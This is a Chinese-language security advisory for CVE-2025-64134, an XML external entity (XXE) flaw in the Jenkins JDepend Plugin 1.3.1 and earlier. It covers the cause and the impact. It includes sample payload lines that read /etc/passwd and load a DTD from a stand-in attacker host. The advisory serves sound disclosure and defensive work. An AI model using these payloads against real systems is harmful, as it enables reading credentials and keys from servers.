CVE-2025-64134Jenkins JDepend Plugin 1.3.1及更早版本存在一个严重的安全漏洞。该插件集成了一个过时的JDepend Maven Plugin版本,该版本未正确配置其XML解析器以防止XML外部实体(XXE)攻击。XXE是一种针对XML解析器的攻击技术,攻击者可以通过构造恶意的XML文件,利用外部实体引用来读取服务器上的敏感文件、执行系统命令或发起拒绝服务攻击。由于Jenkins通常具有较高的系统权限,攻击者成功利用此漏洞可能导致敏感凭证泄露、配置文件被读取,甚至进一步横向移动到其他系统。该漏洞无需用户交互即可被低权限用户利用,攻击复杂度低,具有较高的实际威胁性。Jenkins作为CI/CD流水线的核心组件,一旦被攻击,将影响整个软件开发和部署流程的安全性。
该漏洞源于JDepend Maven Plugin使用的XML解析器未禁用外部实体引用功能。在XML标准中,外部实体允许引用外部文件或URL资源。攻击者可以通过构造包含外部实体引用的恶意XML文件,诱使解析器读取服务器本地文件或发起SSRF攻击。具体来说,当Jenkins构建过程中调用JDepend插件分析Java项目的依赖关系时,如果项目目录中存在攻击者可控的XML配置文件,攻击者可以注入外部实体引用。例如,通过在XML中插入<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>,可以读取系统敏感文件。攻击者还可以利用<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]发起外部攻击。由于Jenkins通常以较高权限运行,攻击者可能读取Jenkins配置文件、SSH密钥、API令牌等敏感信息,进一步扩大攻击面。